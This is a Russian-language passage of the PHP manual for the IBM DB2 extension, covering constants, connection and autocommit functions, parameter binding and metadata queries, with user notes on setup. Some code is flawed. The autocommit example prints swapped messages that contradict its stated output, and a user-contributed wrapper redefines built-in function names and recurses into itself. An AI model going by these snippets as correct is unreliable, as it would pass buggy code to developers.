DB2_CASE_NATURAL (int)
Указывает, что имена столбцов должны возвращаться как есть, без изменения регистра символов.
DB2_CASE_LOWER (int)
Указывает, что имена столбцов должны возвращаться в нижнем регистре.
DB2_CASE_UPPER (int)
Указывает, что имена столбцов должны возвращаться в верхнем регистре.
DB2_DEFERRED_PREPARE_ON (int)
Указывает, что для данного ресурса оператора должен быть включён режим отложенной подготовки запроса.
DB2_DEFERRED_PREPARE_OFF (int)
Указывает, что для данного ресурса оператора должен быть отключён режим отложенной подготовки запроса.

User Contributed Notes

There are no user contributed notes for this page.


Функции IBM DB2

Содержание

  • db2_autocommit — Возвращает или устанавливает режим автоподтверждения транзакций для соединения
  • db2_bind_param — Связывает переменную PHP с параметром SQL-выражения
  • db2_client_info — Возвращает объект со свойствами, описывающими клиента DB2
  • db2_close — Закрывает соединение с базой данных
  • db2_column_privileges — Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns — Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_commit — Подтверждает транзакцию
  • db2_conn_error — Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения
  • db2_conn_errormsg — Возвращает последнее сообщение об ошибке подключения и значение SQLCODE
  • db2_connect — Возвращает соединение с базой данных
  • db2_cursor_type — Возвращает тип курсора, который используется в ресурсе оператора
  • db2_escape_string — Используется для экранирования некоторых символов
  • db2_exec — Выполняет SQL-запрос напрямую
  • db2_execute — Выполняет подготовленный SQL-запрос
  • db2_fetch_array — Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_assoc — Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_both — Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_object — Возвращает объект со свойствами, представляющими столбцы в выбранной строке
  • db2_fetch_row — Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_field_display_size — Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name — Возвращает имя столбца в наборе результатов
  • db2_field_num — Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision — Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale — Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type — Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width — Возвращает ширину текущего значения указанного столбца в наборе результатов
  • db2_foreign_keys — Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_free_result — Освобождает ресурсы, связанные с набором результатов
  • db2_free_stmt — Освобождает ресурсы, связанные с указанным ресурсом выражения
  • db2_get_option — Извлекает значение параметра для ресурса оператора или ресурса соединения
  • db2_last_insert_id — Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении
  • db2_lob_read — Получает определённый пользователем размер LOB-файлов при каждом вызове
  • db2_next_result — Запрашивает следующий набор результатов из хранимой процедуры
  • db2_num_fields — Возвращает количество полей в результирующем наборе
  • db2_num_rows — Возвращает количество строк, затронутых SQL-запросом
  • db2_pclose — Закрывает постоянное соединение с базой данных
  • db2_pconnect — Возвращает постоянное соединение с базой данных
  • db2_prepare — Подготавливает SQL-запрос к выполнению
  • db2_primary_keys — Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns — Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures — Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_result — Возвращает один столбец из строки в наборе результатов
  • db2_rollback — Откатывает транзакцию
  • db2_server_info — Возвращает объект со свойствами, описывающими сервер базы данных DB2
  • db2_set_option — Установка опции для соединения или ресурса оператора
  • db2_special_columns — Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics — Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_stmt_error — Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором
  • db2_stmt_errormsg — Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения
  • db2_table_privileges — Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables — Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

igtoth at gmail dot com 10-May-2014 02:27
// IBM DB2 funcitons like MySQL (ODBC based)
// "Ighor Toth" <igtoth@gmail.com>
// Date: 08/05/2014

// usage:
// db2_connect(verbose,instance,username,password); -> also reads config file if nothing declared db2.conf.inc.php
// db2_query(db2_connect_return,sql)
// db2_fetch_array(result);
// db2_fetch_object(result);
// db2_display_table(db2_connect_return,sql); // select only

function db2_connect($verbose = null,$db2name = null,$username = null,$password = null) {
    if(!isset($verbose)){
        $verbose = TRUE; // TRUE or FALSE, if not set TRUE
    }
    if(!isset($db2name)){ // NOT DECLARED
        include("db2.conf.inc.php"); // CHECK CONFIG FILE
        if(!isset($db2name)){
            if ($verbose == TRUE){
                echo ("DB2 Instance not selected");
                exit();
            } else {
                exit();
            }
        }
    } else if (!isset($username)){
        echo ("DB2 Instance username not specified");
        exit();
    }
    $db2conn = odbc_connect($db2name, $username, $password);
    if (($verbose == TRUE) && ($db2conn == 0)) {
        echo("Connection to database failed.");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    }
    return($db2conn);
}

function db2_query($db2conn,$sql){
    $result = odbc_exec($db2conn, $sql);
    if ($result == 0) {
        echo("QUERY = '$sql' FAILED.<br>\n");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    } else {
        // odbc_result_all prints all of the rows
        // for a result set ID as an HTML table
        return $result;
    }
}

 function db2_fetch_array($result, $rownumber=null){
    $array = array();
    if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
        return false;
    }
    for ($i = 1; $i <= $cols; $i++) {
        $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
    }
    return $array;
}

function db2_fetch_object($result){
    if(function_exists("db2_fetch_object")) return db2_fetch_object($result);
    $rs = array();
    $rs_obj = false;
    if( odbc_fetch_into($result, $rs) ){
        foreach( $rs as $key=>$value ){
            $fkey = odbc_field_name($result, $key+1);
            $rs_obj->$fkey = trim($value);
        }
    }
    return $rs_obj;
}

function db2_display_table($db2conn,$sql) {
    // select all rows from the table
    if(!isset($db2conn)||!isset($sql)){
        echo("ERROR db2_display_table: Function missing arguments");
        exit();
    }
    $check = explode(" ",$sql);
    if($check[0]!="SELECT"){
        echo("ERROR db2_display_table: Not SELECT SQL query");
    }
    if ($db2conn != 0) {
        // odbc_exec returns 0 if the statement fails;
        // otherwise it returns a result set ID
        $result = odbc_exec($db2conn, $sql);
        if ($result == 0) {
            echo("SELECT statement failed.");
            $sqlerror = odbc_errormsg($db2conn);
            echo($sqlerror);
        } else {
            // odbc_result_all prints all of the rows
            // for a result set ID as an HTML table
            odbc_result_all($result);
        }
    }
}
Richard dot Ablewhite at gmail dot com 11-Sep-2008 03:17
There seems to be a lot of good documentation
for Linux users compiling PHP with DB2 support,
but decent Windows notes are minimal.

You do not need to install full DB2 clients to get DB2
working with DB2, all you need is the IBM Data
Server Driver for ODBC, CLI, and .NET which is only
16.1 meg.

You can download the driver from here:

Direct Link:
ftp://ftp.software.ibm.com/ps/products/db2/fixes2/englsh-us/
db2_v95/dsdriver/fp2/v9.5fp2_nt32_dsdriver_EN.exe

Home Page:
http://www-01.ibm.com/support/docview.wss?rs=71&uid=swg21287889

This includes both the drivers required and the PHP
dll php_ibm_db2_5.2.2.dll

Once installed the drivers do not setup the correct
path environmental variable,
so add the following to your path:

C:\Program Files\IBM\IBM DATA SERVER DRIVER\bin

Once thats done all should work! No massive
400meg client downloads required.

Whats even better about these drivers is that you
dont need to install them,
you can simply copy the bin directory to any server,
add it to your path and it will just work.
This is great for anyone developing PHP-GTK applications,
I copy the bin directory into my php-gkt2 directory
and execute using the following batch script:

path = %PATH%;.\IBM DATA SERVER DRIVER\bin
php-win.exe %*

This lets me role out lightweight DB2 client desktop
apps that dont have to be installed,
can just be coppied from PC to PC or ran over a
network or from USB stick.

As your only installing the client drivers you wont be
able to catalog databases,
so always use the full connection string. Here is a
quick bit of code to get you started:

$database = 'databasename';
$user = 'user';
$password = 'password';
$hostname = '127.0.0.1';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;".
  "PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

$query = 'SELECT * FROM TABLE';
$res = db2_prepare($conn, $query);
db2_execute($res);

while ($row = db2_fetch_array($res)) {
  print_r($row);
}
brent dot halsey at gmail dot com 11-Jun-2008 10:57
Spent a lot of time trying to get this to work on a 64bit box.  You'll need to make sure you set your db2 client to 64 bit mode!  If you didn't set your instance to 64bit, you can run ./db2iupdt -w64 db2instance as root to set it.  Hope this helps someone!
Exi 05-Jun-2008 01:38
The DB/2 Run-Time-Client can be found here:
http://www-1.ibm.com/support/docview.wss?rs=71&uid=swg21255394
Select the 'Runtime Client Installable for Windows' further down the page and download it.
Clients for other platform (incl. 64-Bit Windows) are also available from that page.
kfoubert at sitecrafting dot com 29-Apr-2008 11:00
If you wish to connect to an iSeries Server, such as an AS/400, there are two options. Installing DB2 Express-C v9.5 and purchasing DB2 Connect Personal Edition for about $500 or getting System I Access for Linux, which is a free download. Please note the server requirements for each of these. For example, we originally went with DB2 Express-C and decided upon Ubuntu 7.10, but learned about System I Access, from an IBM rep, which requires redhat package manager, after the entire server was up and running.

DB2 Express-C
http://www-306.ibm.com/software/data/db2/express/

DB2 Connect Personal
http://www-306.ibm.com/software/data/db2/db2connect/edition-pe.html

System I Access for Linux
http://www-03.ibm.com/systems/i/software/access/index.html
NOTE: System I Access requires redhat package manager.


Возвращает или устанавливает режим автоподтверждения транзакций для соединения

  • « Функции IBM DB2
  • db2_bind_param »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает или устанавливает режим автоподтверждения транзакций для соединения

db2_autocommit

(PECL ibm_db2 >= 1.0.0)

db2_autocommit — Возвращает или устанавливает режим автоподтверждения транзакций для соединения

Описание

db2_autocommit(resource $connection, int $value = ?): int|bool

Возвращает или устанавливает режим автоподтверждения транзакций для указанного соединения.

Список параметров

connection

Переменная содержащая активный ресурс подключения, полученный с помощью db2_connect() или db2_pconnect().

value

Одна из следующих констант:

DB2_AUTOCOMMIT_OFF

Отключает автоподтверждение.

DB2_AUTOCOMMIT_ON

Включает автоподтверждение.

Возвращаемые значения

Если в db2_autocommit() передать только параметр connection, она вернёт значение текущего режима для этого соединения в виде целого числа принимающего значение DB2_AUTOCOMMIT_OFF, если автоподтверждение отключено и DB2_AUTOCOMMIT_ON, если включено.

Если в db2_autocommit() переданы оба параметра, connection и autocommit, она попытается установить для заданного соединения указанный режим автоподтверждения. Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Получение текущего режима автоподтверждения транзакций

В следующем примере мы создадим соединение с отключённым автоподтверждением и проверим его с помощью db2_autocommit().

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);
$ac = db2_autocommit($conn);
if ($ac == DB2_AUTOCOMMIT_OFF) {
print "$ac -- автоподтверждение включено.";
} else {
print "$ac -- автоподтверждение отключено.";
}
?>

Результат выполнения данного примера:

0 -- автоподтверждение отключено.

Пример #2 Установка режима автоподтверждения транзакции

В следующем примере мы создадим соединение с отключённым автоподтверждением, после чего его включим и проверим.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);

// Включаем автоподтверждение
$rc = db2_autocommit($conn, DB2_AUTOCOMMIT_ON);
if ($rc) {
print "Автоподтверждение успешно включено.\n";
}

// ппроверяет текущий режим
$ac = db2_autocommit($conn);
if ($ac == DB2_AUTOCOMMIT_OFF) {
print "$ac -- автоподтверждение включено.";
} else {
print "$ac -- автоподтверждение отключено.";
}
?>

Результат выполнения данного примера:

Автоподтверждение успешно включено.
1 -- автоподтверждение включено.

Смотрите также

  • db2_connect() - Возвращает соединение с базой данных
  • db2_pconnect() - Возвращает постоянное соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Связывает переменную PHP с параметром SQL-выражения

  • « db2_autocommit
  • db2_client_info »
  • PHP Manual
  • Функции IBM DB2
  • Связывает переменную PHP с параметром SQL-выражения

db2_bind_param

(PECL ibm_db2 >= 1.0.0)

db2_bind_param — Связывает переменную PHP с параметром SQL-выражения

Описание

db2_bind_param(
resource $stmt,
int $parameter_number,
string $variable_name,
int $parameter_type = DB2_PARAM_IN,
int $data_type = 0,
int $precision = -1,
int $scale = 0
): bool

Связывает переменную PHP с параметром SQL-выражения в ресурсе выражения, возвращаемом db2_prepare(). Эта функция даёт больший контроль над типом параметра, типом данных, точностью и масштабом для параметра, чем простая передача переменной как части необязательного входного массива в db2_execute().

Список параметров

stmt

Подготовленное выражение, возвращаемое db2_prepare().

parameter_number

Задаёт позицию параметра, которая нумеруется с 1, в подготовленном выражении.

variable_name

Строка, определяющая имя переменной PHP для привязки к параметру, заданному parameter_number.

parameter_type

Константа, определяющая, должна ли переменная PHP быть привязана к параметру SQL как входной параметр (DB2_PARAM_IN), выходной параметр (DB2_PARAM_OUT) или как параметр, принимающий ввод и возвращающий вывод (DB2_PARAM_INOUT). Чтобы избежать перегрузки памяти, можно также указать DB2_PARAM_FILE, чтобы привязать переменную PHP к имени файла, содержащего данные большого объекта (BLOB, CLOB или DBCLOB).

data_type

Константа, указывающая тип данных SQL, с которым должна быть связана переменная PHP: DB2_BINARY, DB2_CHAR, DB2_DOUBLE или DB2_LONG.

precision

Задаёт точность, с которой переменная должна быть привязана к базе данных. Этот параметр также можно использовать для получения выходных значений XML из хранимых процедур. Неотрицательное значение указывает максимальный размер данных XML, которые будут извлечены из базы данных. Если этот параметр не используется, для получения выходного значения XML из хранимой процедуры предполагается значение по умолчанию 1 МБ.

scale

Задаёт масштаб, с которым переменная должна быть привязана к базе данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Привязка переменных PHP к подготовленному выражению

SQL-выражение в данном примере использует два входных параметра в предложении WHERE. Вызывается db2_bind_param(), чтобы связать две переменные PHP с соответствующими параметрами SQL. Обратите внимание, что переменные PHP не нужно объявлять или присваивать перед вызовом db2_bind_param(); в этом примере $lower_limit присваивается значение перед вызовом db2_bind_param(), а $upper_limit присваивается значение после вызова db2_bind_param(). Перед вызовом db2_execute() переменные должны быть связаны, а параметрам, принимающим ввод, должно быть присвоено любое значение. db2_execute().

<?php

$sql = 'SELECT name, breed, weight FROM animals
WHERE weight > ? AND weight < ?';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

// Можно объявить переменную перед вызовом db2_bind_param()
$lower_limit = 1;

db2_bind_param($stmt, 1, "lower_limit", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "upper_limit", DB2_PARAM_IN);

// Также можно объявить переменную после вызова db2_bind_param()
$upper_limit = 15.0;

if (db2_execute($stmt)) {
while ($row = db2_fetch_array($stmt)) {
print "{$row[0]}, {$row[1]}, {$row[2]}\n";
}
}
?>

Результат выполнения данного примера:

Pook, cat, 3.2
Rickety Ride, goat, 9.7
Peaches, dog, 12.3

Пример #2 Вызов хранимых процедур с параметрами IN и OUT

Хранимая процедура match_animal в данном примере принимает три разных параметра:

  1. входной параметр (IN), который принимает имя первого животного в качестве входных данных

  2. параметр ввода-вывода (INOUT), который принимает имя второго животного в качестве входных данных и возвращает строку TRUE, если животное в базе данных совпадает с этим именем

  3. выходной параметр (OUT), который возвращает сумму веса двух идентифицированных животных

Кроме того, хранимая процедура возвращает набор результатов, состоящий из животных, перечисленных в алфавитном порядке, начиная с животного, соответствующего входному значению первого параметра, и заканчивая животным, соответствующим входному значению второго параметра.

<?php

$sql = 'CALL match_animal(?, ?, ?)';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

$name = "Peaches";
$second_name = "Rickety Ride";
$weight = 0;

db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "second_name", DB2_PARAM_INOUT);
db2_bind_param($stmt, 3, "weight", DB2_PARAM_OUT);

print "Values of bound parameters _before_ CALL:\n";
print " 1: {$name} 2: {$second_name} 3: {$weight}\n\n";

if (db2_execute($stmt)) {
print "Values of bound parameters _after_ CALL:\n";
print " 1: {$name} 2: {$second_name} 3: {$weight}\n\n";

print "Results:\n";
while ($row = db2_fetch_array($stmt)) {
print " {$row[0]}, {$row[1]}, {$row[2]}\n";
}
}
?>

Результат выполнения данного примера:

Values of bound parameters _before_ CALL:
  1: Peaches 2: Rickety Ride 3: 0

Values of bound parameters _after_ CALL:
  1: Peaches 2: TRUE 3: 22

Results:
  Peaches, dog, 12.3
  Pook, cat, 3.2
  Rickety Ride, goat, 9.7

Пример #3 Вставка большого двоичного объекта (BLOB) напрямую из файла

Данные для больших объектов обычно хранятся в файлах, таких как документы XML или аудиофайлы. Вместо того, чтобы считывать весь файл в переменную PHP и затем связывать эту переменную PHP с SQL-выражением, можно избежать некоторых накладных расходов на память, привязав файл напрямую к входному параметру SQL-выражения. В данном примере показано, как привязать файл напрямую к столбцу BLOB.

<?php
$stmt = db2_prepare($conn, "INSERT INTO animal_pictures(picture) VALUES (?)");

$picture = "/opt/albums/spook/grooming.jpg";
$rc = db2_bind_param($stmt, 1, "picture", DB2_PARAM_FILE);
$rc = db2_execute($stmt);
?>

Смотрите также

  • db2_execute() - Выполняет подготовленный SQL-запрос
  • db2_prepare() - Подготавливает SQL-запрос к выполнению

User Contributed Notes

bravo1_r at hotmail dot com 25-Oct-2021 01:00
Important when using classes:
You must call db2_execute() in the same scope as where you define / set / bind the variables.
For example:

<?php
class DB2Class {
    public $conn;
    private $usr = 'user';
    private $pss = 'password';
    private $cat = 'catalog';
    public function db2_conn(){
        $conn = db2_connect($this->cat,$this->usr,$this->pss);
        if(!$conn)
            throw new Exception(db2_conn_errormsg());
        $this->conn = $conn;
    }
    public function db2_prep($sql){
        if(!$stmt = db2_prepare($this->conn, $sql)){
            throw new Exception($sql . " " . db2_stmt_errormsg());
            return false;
        }
        return $stmt;
    }
    public function db2_exec($stmt){
        if(!db2_execute($stmt))
            throw new Exception(db2_stmt_errormsg($stmt));
    }
}

/* This will NOT work */
function bindtest(){
    try {
        $db2 = new DB2Class;
        $db2->db2_conn();
        $stmt = $db2->db2_prep("SELECT * FROM TABLE WHERE FIELD = ?");
        $field = 'value';
        db2_bind_param($stmt, 1, "field", DB2_PARAM_IN);
        $db2->db2_exec($stmt);        // Results in Unbound Variable Error
        while($row = db2_fetch_assoc($stmt))
            var_dump($row);
    } catch(Exception $e) {
        error_log( $e->getMessage () );
    }
}

/* This will work */
function bindtest(){
    try {
        $db2 = new DB2Class;
        $db2->db2_conn();
        $stmt = $db2->db2_prep("SELECT * FROM TABLE WHERE FIELD = ?");
        $field = 'value';
        db2_bind_param($stmt, 1, "field", DB2_PARAM_IN);
        if(!db2_execute($stmt))
            throw new Exception(db2_stmt_errormsg($stmt));
        while($row = db2_fetch_assoc($stmt))
            var_dump($row);
    } catch(Exception $e) {
        error_log( $e->getMessage () );
    }
}

?>


Возвращает объект со свойствами, описывающими клиента DB2

  • « db2_bind_param
  • db2_close »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает объект со свойствами, описывающими клиента DB2

db2_client_info

(PECL ibm_db2 >= 1.1.1)

db2_client_info — Возвращает объект со свойствами, описывающими клиента DB2

Описание

db2_client_info(resource $connection): stdClass|false

Эта функция возвращает объект с доступными только на чтение свойствами, возвращающими информацию о клиенте DB2. Эти свойства перечислены в следующей таблице:

Свойства клиента DB2
Имя свойства | Возвращаемый тип | Описание
APPL_CODEPAGE | int | Кодовая страница приложения.
CONN_CODEPAGE | int | Кодовая страница текущего соединения.
DATA_SOURCE_NAME | string | Имя источника данных (DSN) использовавшееся для создания текущего соединения.
DRIVER_NAME | string | Имя библиотеки реализующей спецификацию DB2 Call Level Interface (CLI).
DRIVER_ODBC_VER | string | Версия ODBC, которую поддерживает клиент DB2. Возвращает строку "MM.mm", где MM - мажор, а mm - минор. Клиент DB2 всегда возвращает "03.51".
DRIVER_VER | string | Версия клиента в виде строки "MM.mm.uuuu", где MM - мажор, mm - минор, а uuuu - уровень обновления. К примеру, "08.02.0001" означает мажорную версию 8, минорную 2 и уровень обновления 1.
ODBC_SQL_CONFORMANCE string

Уровень поддержки клиентом грамматики ODBC SQL:

MINIMUM

Минимальная поддержка грамматики ODBC SQL.

CORE

Базовая поддержка грамматики ODBC SQL.

EXTENDED

Расширенная поддержка грамматики ODBC SQL.

ODBC_VER | string | Версия ODBC, которую поддерживает драйвер ODBC. Возвращает строку формата "MM.mm.rrrr", где MM - мажор, mm - минор и rrrr - версия релиза. Клиент DB2 всегда возвращает "03.01.0000".

Список параметров

connection

Задаёт активное соединение DB2.

Возвращаемые значения

В случае успешного выполнения возвращает объект или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования db2_client_info()

Для получения информации вы должны передать корректный ресурс соединения в db2_client_info().

<?php
$conn = db2_connect( 'SAMPLE', 'db2inst1', 'ibmdb2' );
$client = db2_client_info( $conn );

if ($client) {
echo "DRIVER_NAME: "; var_dump( $client->DRIVER_NAME );
echo "DRIVER_VER: "; var_dump( $client->DRIVER_VER );
echo "DATA_SOURCE_NAME: "; var_dump( $client->DATA_SOURCE_NAME );
echo "DRIVER_ODBC_VER: "; var_dump( $client->DRIVER_ODBC_VER );
echo "ODBC_VER: "; var_dump( $client->ODBC_VER );
echo "ODBC_SQL_CONFORMANCE: "; var_dump( $client->ODBC_SQL_CONFORMANCE );
echo "APPL_CODEPAGE: "; var_dump( $client->APPL_CODEPAGE );
echo "CONN_CODEPAGE: "; var_dump( $client->CONN_CODEPAGE );
}
else {
echo "Error retrieving client information.
Perhaps your database connection was invalid.";
}
db2_close($conn);

?>

Результат выполнения данного примера:

DRIVER_NAME: string(8) "libdb2.a"
DRIVER_VER: string(10) "08.02.0001"
DATA_SOURCE_NAME: string(6) "SAMPLE"
DRIVER_ODBC_VER: string(5) "03.51"
ODBC_VER: string(10) "03.01.0000"
ODBC_SQL_CONFORMANCE: string(8) "EXTENDED"
APPL_CODEPAGE: int(819)
CONN_CODEPAGE: int(819)

Смотрите также

  • db2_server_info() - Возвращает объект со свойствами, описывающими сервер базы данных DB2

User Contributed Notes

There are no user contributed notes for this page.


Закрывает соединение с базой данных

  • « db2_client_info
  • db2_column_privileges »
  • PHP Manual
  • Функции IBM DB2
  • Закрывает соединение с базой данных

db2_close

(PECL ibm_db2 >= 1.0.0)

db2_close — Закрывает соединение с базой данных

Описание

db2_close(resource $connection): bool

Функция закрывает соединение с базой DB2, созданное с помощью db2_connect() и возвращает соответствующие ресурсы серверу баз данных.

Если вы попытаетесь закрыть постоянное соединение, созданное с помощью db2_pconnect(), то запрос на закрытие будет проигнорирован и соединение будет доступно для последующего использования.

Список параметров

connection

Активное соединение с DB2.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Закрытие соединения

Следующий пример демонстрирует успешную попытку закрыть соединение с IBM DB2, Cloudscape, или базой данных Apache Derby.

<?php
$conn = db2_connect('SAMPLE', 'db2inst1', 'ibmdb2');
$rc = db2_close($conn);
if ($rc) {
echo "Соединение закрыто.";
}
?>

Результат выполнения данного примера:

Соединение закрыто.

Смотрите также

  • db2_connect() - Возвращает соединение с базой данных
  • db2_pclose() - Закрывает постоянное соединение с базой данных
  • db2_pconnect() - Возвращает постоянное соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы

  • « db2_close
  • db2_columns »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы

db2_column_privileges

(PECL ibm_db2 >= 1.0.0)

db2_column_privileges — Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы

Описание

db2_column_privileges(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null,
?string $column_name = null
): resource

Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы.

Список параметров

connection

Ресурс соединения с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз DB2, работающих на серверах OS/390 или z/OS. В остальных случаях указывайте null или пустую строку.

schema

Схема, содержащая таблицы. Для выбора всех схем укажите null или пустую строку.

table_name

Имя таблицы или представления. Для выбора всех таблиц укажите null или пустую строку.

column_name

Имя столбца. Для выбора всех столбцов укажите null или пустую строку.

Возвращаемые значения

Возвращает ресурс оператора с результирующим набором, содержащим строки, описывающие привилегии заданных условиями столбцов. Строки содержат следующие поля:

Имя столбца | Описание
TABLE_CAT | Имя каталога. Если таблица не имеет каталогов, то это поле будет содержать NULL.
TABLE_SCHEM | Имя схемы.
TABLE_NAME | Имя таблицы или представления.
COLUMN_NAME | Имя столбца.
GRANTOR | Идентификатор пользователя, установившего привилегию.
GRANTEE | Идентификатор пользователя, для которого установлена привилегия.
PRIVILEGE | Установленная привилегия.
IS_GRANTABLE | Может ли GRANTEE выдавать эту привилегию другим пользователям.

Смотрите также

  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы

  • « db2_column_privileges
  • db2_commit »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы

db2_columns

(PECL ibm_db2 >= 1.0.0)

db2_columns — Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы

Описание

db2_columns(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null,
?string $column_name = null
): resource

Returns a result set listing the columns and associated metadata for a table.

Список параметров

connection

Ресурс соединения с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз DB2, работающих на серверах OS/390 или z/OS. В остальных случаях указывайте null или пустую строку.

schema

Схема, содержащая таблицы. Для выбора всех схем укажите '%'.

table_name

Имя таблицы или представления. Для выбора всех таблиц укажите null или пустую строку.

column_name

Имя столбца. Для выбора всех столбцов укажите null или пустую строку.

Возвращаемые значения

Возвращает ресурс оператора с результирующим набором, содержащим строки, описывающие заданные условиями столбцы. Строки содержат следующие поля:

Имя столбца | Описание
TABLE_CAT | Имя каталога. Если таблица не имеет каталогов, то это поле будет содержать NULL.
TABLE_SCHEM | Имя схемы.
TABLE_NAME | Имя таблицы или представления.
COLUMN_NAME | Имя столбца.
DATA_TYPE | Тип данных SQL в виде целого числа.
TYPE_NAME | Текстовое представление типа данных.
COLUMN_SIZE | Размер столбца в виде целого числа.
BUFFER_LENGTH | Максимальное количество байт, необходимое для хранения данных из этого столбца.
DECIMAL_DIGITS | Количество цифр после запятой, или null, если не применимо.
NUM_PREC_RADIX | Целое число, равное 10 (если длина числа измеряется в десятичных цифрах), 2 (если длина измеряется в битах), или null (если не применимо).
NULLABLE | Целое число, определяющее, может ли столбец принимать значение NULL.
REMARKS | Описание столбца.
COLUMN_DEF | Значение поля по умолчанию.
SQL_DATA_TYPE | Целое число, определяющее длину записи.
SQL_DATETIME_SUB | Возвращает целое число, описывающее подтип данных Datrtime или null, если не применимо.
CHAR_OCTET_LENGTH | Максимальная длина в октетах для символьных типов данных. Совпадает с COLUMN_SIZE для однобайтовых символьных данных или null для несимвольных данных.
ORDINAL_POSITION | Порядковый номер столбца в таблице. Начинаются с 1.
IS_NULLABLE | Строка равная 'YES', если столбец может быть NULL и 'NO', если нет.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

Anonymous 25-Sep-2014 10:22
As with previous message, passing null as the last param with db2_columns results in nothing being returned. Passing '%' instead works. The documentation really needs to be updated to correct this error as it's very misleading and was reported as wrong 8 years ago!
david dot rekowski at gmx dot de 06-Aug-2008 07:21
must be
db2_columns($conn, '', '%', $table, '%');

Don't forget that table names are UPPERCASE. That gave me quite some headache.
